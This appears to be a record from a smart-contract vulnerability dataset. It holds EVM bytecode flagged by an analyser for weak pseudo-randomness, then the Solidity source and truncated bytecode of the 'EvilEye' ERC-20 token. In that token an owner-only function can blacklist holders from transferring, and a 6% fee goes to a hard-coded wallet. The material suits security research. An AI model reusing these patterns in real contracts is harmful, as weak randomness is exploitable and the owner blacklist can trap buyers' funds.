fff1614151561152a57600080fd5b600754600360008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561156157fe5b60008511151561156d57fe5b6001430340600190049250600091505b600c548210156115955760095483028201915061157d565b600c54828115156115a257fe5b069050600360008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460036000600d848154811015156115e257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600d8181548110151561166357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360008073ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36000600360008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600981905550600b60009054906101000a900460ff161561175b57611759611e39565b505b60019350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c457600080fd5b60025483111515156117d557600080fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555082600260008282540392505081905550826001600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff1660017fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194457600080fd5b6000600a5413151561195557600080fd5b611960600083611f55565b80156119715750611970836114c9565b5b1561198a57600a60008154809291906001900391905055505b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1657600080fd5b6002548311151515611a2757600080fd5b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550826002600082825403925050819055508260016000828254019250508190555082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff1660017fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6040805190810160405280600381526020017f524143000000000000000000000000000000000000000000000000000000000081525081565b600a5481565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1b57600080fd5b816007819055507fcd1c0cbd2e826c4fcada0916e93201d74c44dc4581310c3035dac8cf0c607339826040518082815260200191505060405180910390a160019050919050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611cb257600080fd5b611cbd3384846122ff565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2257600080fd5b81600b60006101000a81548160ff02191690831515021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611da257600080fd5b611dab826125ec565b9050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9657600080fd5b6000600c819055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0257600080fd5b600082111515611f0e57fe5b816008819055507f5a859d86a70043c199015ae2ec2ef5986339ac7fd8a289a69d55c466e5913c26826040518082815260200191505060405180910390a160019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb257600080fd5b6002548211151515611fc357600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600260008282540392505081905550816001600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff1660017fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120e557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561212157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806064600654606403840281151561217a57fe5b04905082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156121cb57508083115b15156121d657600080fd5b6121e13385836122ff565b80156121ef57506008548310155b15612201576121ff83823361220c565b505b600191505092915050565b60008061221983866124d2565b50838503905080600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600360008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561233c57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156123c857fe5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000806000600854848115156124e457fe5b049150600090505b8181101561259257600d80549050600c54141561251d576001600d8181805490500191508161251b9190612813565b505b84600d600c60008154809291906001019190505581548110151561253d57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080806001019150506124ec565b8473ffffffffffffffffffffffffffffffffffffffff167f876dc242d76824ee48d7a13ac897603c91eadbd2785792776b5d59f91fa684f1836040518082815260200191505060405180910390a260019250505092915050565b600042600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410801561268157506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b151561268c57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546040518082815260200191505060405180910390a36000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555060019050919050565b81548183558181111561283a57818360005260206000209182019101612839919061283f565b5b505050565b61286191905b8082111561285d576000816000905550600101612845565b5090565b905600a165627a7a72305820581e2938973effc87139b8544e6f9a28f6cb9a0931f67a277f9de9ae9545bb820029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
| 6,203 |
0x02A4238A63adA8D564375EcA383e4d518Be8E84B
|
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EvilEye is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "EvilEye";
string private constant _symbol = "HAMSA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xEdEfbDE54907f6eDB25D1EB68a2D724b1c515e02);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(10).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610339578063b87f137a14610359578063c3c8cd8014610379578063c9567bf91461038e578063dd62ed3e146103a357600080fd5b806370a0823114610299578063715018a6146102b9578063751039fc146102ce5780638da5cb5b146102e357806395d89b411461030b57600080fd5b8063273123b7116100e7578063273123b714610208578063313ce567146102285780635932ead114610244578063677daa57146102645780636fc3eaec1461028457600080fd5b806306fdde031461012f578063095ea7b31461017157806318160ddd146101a15780631b3f71ae146101c657806323b872dd146101e857600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152664576696c45796560c81b60208201525b6040516101689190611740565b60405180910390f35b34801561017d57600080fd5b5061019161018c3660046117ba565b6103e9565b6040519015158152602001610168565b3480156101ad57600080fd5b5067016345785d8a00005b604051908152602001610168565b3480156101d257600080fd5b506101e66101e13660046117fc565b610400565b005b3480156101f457600080fd5b506101916102033660046118c1565b61049f565b34801561021457600080fd5b506101e6610223366004611902565b610508565b34801561023457600080fd5b5060405160098152602001610168565b34801561025057600080fd5b506101e661025f36600461192d565b610553565b34801561027057600080fd5b506101e661027f36600461194a565b61059b565b34801561029057600080fd5b506101e66105f5565b3480156102a557600080fd5b506101b86102b4366004611902565b610622565b3480156102c557600080fd5b506101e6610644565b3480156102da57600080fd5b506101e66106b8565b3480156102ef57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561031757600080fd5b5060408051808201909152600581526448414d534160d81b602082015261015b565b34801561034557600080fd5b506101916103543660046117ba565b6106f5565b34801561036557600080fd5b506101e661037436600461194a565b610702565b34801561038557600080fd5b506101e6610756565b34801561039a57600080fd5b506101e661078c565b3480156103af57600080fd5b506101b86103be366004611963565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f6338484610b3e565b5060015b92915050565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a9061199c565b60405180910390fd5b60005b815181101561049b57600160066000848481518110610457576104576119d1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610493816119fd565b915050610436565b5050565b60006104ac848484610c62565b6104fe84336104f985604051806060016040528060288152602001611b60602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061106c565b610b3e565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161042a9061199c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161042a9061199c565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042a9061199c565b600081116105d257600080fd5b6105ef60646105e967016345785d8a0000846110a6565b9061112f565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061557600080fd5b4761061f81611171565b50565b6001600160a01b0381166000908152600260205260408120546103fa906111ab565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161042a9061199c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161042a9061199c565b67016345785d8a0000600f819055601055565b60006103f6338484610c62565b6000546001600160a01b0316331461072c5760405162461bcd60e51b815260040161042a9061199c565b6000811161073957600080fd5b61075060646105e967016345785d8a0000846110a6565b60105550565b600c546001600160a01b0316336001600160a01b03161461077657600080fd5b600061078130610622565b905061061f81611228565b6000546001600160a01b031633146107b65760405162461bcd60e51b815260040161042a9061199c565b600e54600160a01b900460ff16156108105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084c308267016345785d8a0000610b3e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ae9190611a16565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190611a16565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109909190611a16565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c081610622565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a629190611a33565b5050600e805461ffff60b01b191661010160b01b17905550610a936103e86105e967016345785d8a0000600a6110a6565b600f55610aaf6103e86105e967016345785d8a0000601e6110a6565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049b9190611a61565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000600a556006600b55610da66000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dd557506000546001600160a01b03838116911614155b1561105c576001600160a01b03831660009081526006602052604090205460ff16158015610e1c57506001600160a01b03821660009081526006602052604090205460ff16155b610e2557600080fd5b600e546001600160a01b038481169116148015610e505750600d546001600160a01b03838116911614155b8015610e7557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8a5750600e54600160b81b900460ff165b15610f8f57600f54811115610ee15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042a565b60105481610eee84610622565b610ef89190611a7e565b1115610f465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042a565b6001600160a01b0382166000908152600760205260409020544211610f6a57600080fd5b610f7542601e611a7e565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fba5750600d546001600160a01b03848116911614155b8015610fdf57506001600160a01b03831660009081526005602052604090205460ff16155b15610fef576000600a556006600b555b6000610ffa30610622565b600e54909150600160a81b900460ff161580156110255750600e546001600160a01b03858116911614155b801561103a5750600e54600160b01b900460ff165b1561105a5761104881611228565b4780156110585761105847611171565b505b505b6110678383836113a2565b505050565b600081848411156110905760405162461bcd60e51b815260040161042a9190611740565b50600061109d8486611a96565b95945050505050565b6000826000036110b8575060006103fa565b60006110c48385611aad565b9050826110d18583611acc565b146111285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b9392505050565b600061112883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ad565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049b573d6000803e3d6000fd5b60006008548211156112125760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042a565b600061121c6113db565b9050611128838261112f565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611270576112706119d1565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed9190611a16565b81600181518110611300576113006119d1565b6001600160a01b039283166020918202929092010152600d546113269130911684610b3e565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f908590600090869030904290600401611aee565b600060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110678383836113fe565b600081836113ce5760405162461bcd60e51b815260040161042a9190611740565b50600061109d8486611acc565b60008060006113e86114f5565b90925090506113f7828261112f565b9250505090565b60008060008060008061141087611535565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114429087611592565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461147190866115d4565b6001600160a01b03891660009081526002602052604090205561149381611633565b61149d848361167d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e291815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a0000611510828261112f565b82101561152c5750506008549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006115528a600a54600b546116a1565b92509250925060006115626113db565b905060008060006115758e8787876116f0565b919e509c509a509598509396509194505050505091939550919395565b600061112883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061106c565b6000806115e18385611a7e565b9050838110156111285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b600061163d6113db565b9050600061164b83836110a6565b3060009081526002602052604090205490915061166890826115d4565b30600090815260026020526040902055505050565b60085461168a9083611592565b60085560095461169a90826115d4565b6009555050565b60008080806116b560646105e989896110a6565b9